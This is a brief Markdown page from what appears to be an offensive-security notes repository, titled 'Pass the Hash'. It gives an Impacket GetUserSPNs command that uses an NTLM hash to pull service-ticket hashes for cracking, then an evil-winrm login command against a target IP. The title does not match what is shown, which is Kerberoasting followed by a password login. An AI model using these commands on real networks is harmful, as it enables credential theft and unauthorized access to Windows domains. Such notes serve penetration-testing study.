killchain-compendium/post_exploitation/docs/windows/pass_the_hash.md

13 lines
195 B
Markdown
Raw Normal View History

2022-01-09 22:52:39 +01:00
# Pass the Hash
## Usage
```sh
GetUserSPNs.py <Domain>/<user> -hashes <ntlm:hash> -outputfile hash.txt
```
* Crack the password
* login
```sh
evilwinrm -i $TARGET_IP -u <user> -p password
```